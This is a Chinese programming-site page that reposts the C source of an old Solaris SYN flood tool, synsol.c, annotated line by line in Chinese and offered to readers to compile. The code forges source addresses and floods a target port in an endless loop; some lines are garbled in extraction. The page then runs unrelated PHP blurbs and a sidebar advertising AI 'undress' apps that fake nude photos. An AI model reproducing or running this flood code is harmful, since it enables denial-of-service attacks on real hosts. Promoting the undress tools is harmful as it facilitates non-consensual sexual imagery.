这是一个LINUX/UNIX的时代,你还在为自己懂一点点的 Java development..这是一个SYN攻击的源程序: 大家试着读一读,看是否能读懂,不懂可以给我留言E-MAIL:QIYU155·126。COM。 我加的有中文注释!
这是一个SYN攻击的源程序: 大家试着读一读,看是否能读懂,不懂可以给我留言。 我加的有中文注释。 /* Syn Attack against a port for Solaris */ /* Original land attack, land.c by m3lt, FLC */ /* Ported to 44BSD by blast and jerm */ /* Ported to Solaris by ziro antagonist */ /* Referenced flood.c by unknown author */ /* Converted into a syn attack against one port by CRG */ /* Please use this for educational purposes only */ /* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */ /* Additional notes: */ /* Successfully compiled on Solaris 2.51 and 2.6 */ /* Runs: synsol */ /* */ /* Tested it on: Solaris 2.6 */ /* */ /* Attacked against: */ /* Linux 2.0.33 - vulnerable */ /* Linux 2.0.30 - vulnerable */ /* Linux 1.2.13 - vulnerable */ /* Solaris 2.4 - vulnerable */ /* Solaris 2.5.1 - vulnerable */ /* SunOS 4.1.3_U3 - vulnerable */ /* Solaris 2.6 - not vulnerable */ /* */ /* Most of these test machines are not patched because they */ /* are in test lab. I tested the program against port 23 and */ /* every once in awhile I did get through. */ /* */ /* Direct any comments, questions, improvements to */ /* packetstorm@genocide2600.com */ /* http://www.genocide2600.com/~tattooman/ */ /* Your emails will be forwarded to the author, who wishes */ /* to remain known only as CRG (no email addy or URL) */ /*jjgirl:上面的注释的不用说了!*/ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /*jjgirl:上面是头文件!*/ unsigned long srcport; struct pseudohdr { struct in_addr saddr; struct in_addr daddr; u_char zero; u_char protocol; u_short length; struct tcphdr tcpheader; }; /*jjgirl:定义一个伪装地址的结构!*/ u_short checksum(u_short * data,u_short length) { int nleft = length; int sum=0; unsigned short *w = data; unsigned short value = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&value) = *(unsigned char *) w; sum += value; } sum = (sum >>16) + (sum & 0xffff); sum += (sum >> 16); value = ~sum; return(value); } /*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/ int main(int argc,char * * argv) {/*jjgirl:主程序开始了!*/ struct sockaddr_in sin; struct sockaddr_in din; struct hostent * hoste; struct hostent * host1; int j,sock,foo, flooddot=1; char buffer[40]; struct ip * ipheader=(struct ip *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip)); struct pseudohdr pseudoheader; /*jjgirl:上面定义变量!*/ fprintf(stderr,"Syn attack against one port.(Infinite)
"); if(argch_addr,&din.sin_addr,host1->h_length); else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1) { fprintf(stderr,"unknown source host %s
",argv[3]); return(-1); } if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown destination host %s
",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s
",argv[2]); return(-1); } /*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/ if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldnt allocate raw socket
"); return(-1); } /*jjgirl:上面开始Socket了!*/ foo=1; if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1) { fprintf(stderr,"couldnt set raw header on socket
"); return(-1); } /*jjgirl:上面是为了重构报头!*/ for(j=1;j>0;j++) { bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr)); ipheader->ip_v=4; ipheader->ip_tos=0; ipheader->ip_hl=sizeof(struct ip)/4; ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr); ipheader->ip_id=htons(random()); ipheader->ip_ttl=30; /*255;*/ ipheader->ip_p=IPPROTO_TCP; ipheader->ip_sum=0; ipheader->ip_src=din.sin_addr; ipheader->ip_dst=sin.sin_addr; tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/ tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0x28374839); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); tcpheader->th_sum=0; bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=din.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); /*jjgirl:上面是重构报头!*/ srcport= (10000.0*random()/(15000+1.0)); /*jjgirl:端口当然要变!*/ if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1) /*jjgirl:攻击开始!*/ { fprintf(stderr,"couldnt send packet,%d
",errno); return(-1); } usleep(2); if (!(flooddot = (flooddot+1)%(1))) /*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便! int k=j; if((k%10)==0) printf("
"); */ } /*The end of the infinite loop*/ close(sock); return(0); } /*jjgirl:结束!编译试试吧!如果有看不懂可以给我留言,或E-MAIL:qiyu155@126.com!*/

PHP在现代编程中仍然是一个强大且广泛使用的工具,尤其在web开发领域。1)PHP易用且与数据库集成无缝,是许多开发者的首选。2)它支持动态内容生成和面向对象编程,适合快速创建和维护网站。3)PHP的性能可以通过缓存和优化数据库查询来提升,其广泛的社区和丰富生态系统使其在当今技术栈中仍具重要地位。

在PHP中,弱引用是通过WeakReference类实现的,不会阻止垃圾回收器回收对象。弱引用适用于缓存系统和事件监听器等场景,需注意其不能保证对象存活,且垃圾回收可能延迟。

\_\_invoke方法允许对象像函数一样被调用。1.定义\_\_invoke方法使对象可被调用。2.使用$obj(...)语法时,PHP会执行\_\_invoke方法。3.适用于日志记录和计算器等场景,提高代码灵活性和可读性。

Fibers在PHP8.1中引入,提升了并发处理能力。1)Fibers是一种轻量级的并发模型,类似于协程。2)它们允许开发者手动控制任务的执行流,适合处理I/O密集型任务。3)使用Fibers可以编写更高效、响应性更强的代码。

PHP社区提供了丰富的资源和支持,帮助开发者成长。1)资源包括官方文档、教程、博客和开源项目如Laravel和Symfony。2)支持可以通过StackOverflow、Reddit和Slack频道获得。3)开发动态可以通过关注RFC了解。4)融入社区可以通过积极参与、贡献代码和学习分享来实现。

PHP和Python各有优势,选择应基于项目需求。1.PHP适合web开发,语法简单,执行效率高。2.Python适用于数据科学和机器学习,语法简洁,库丰富。

PHP不是在消亡,而是在不断适应和进化。1)PHP从1994年起经历多次版本迭代,适应新技术趋势。2)目前广泛应用于电子商务、内容管理系统等领域。3)PHP8引入JIT编译器等功能,提升性能和现代化。4)使用OPcache和遵循PSR-12标准可优化性能和代码质量。

PHP的未来将通过适应新技术趋势和引入创新特性来实现:1)适应云计算、容器化和微服务架构,支持Docker和Kubernetes;2)引入JIT编译器和枚举类型,提升性能和数据处理效率;3)持续优化性能和推广最佳实践。


热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

MinGW - 适用于 Windows 的极简 GNU
这个项目正在迁移到osdn.net/projects/mingw的过程中,你可以继续在那里关注我们。MinGW:GNU编译器集合(GCC)的本地Windows移植版本,可自由分发的导入库和用于构建本地Windows应用程序的头文件;包括对MSVC运行时的扩展,以支持C99功能。MinGW的所有软件都可以在64位Windows平台上运行。

PhpStorm Mac 版本
最新(2018.2.1 )专业的PHP集成开发工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

SecLists
SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。

Atom编辑器mac版下载
最流行的的开源编辑器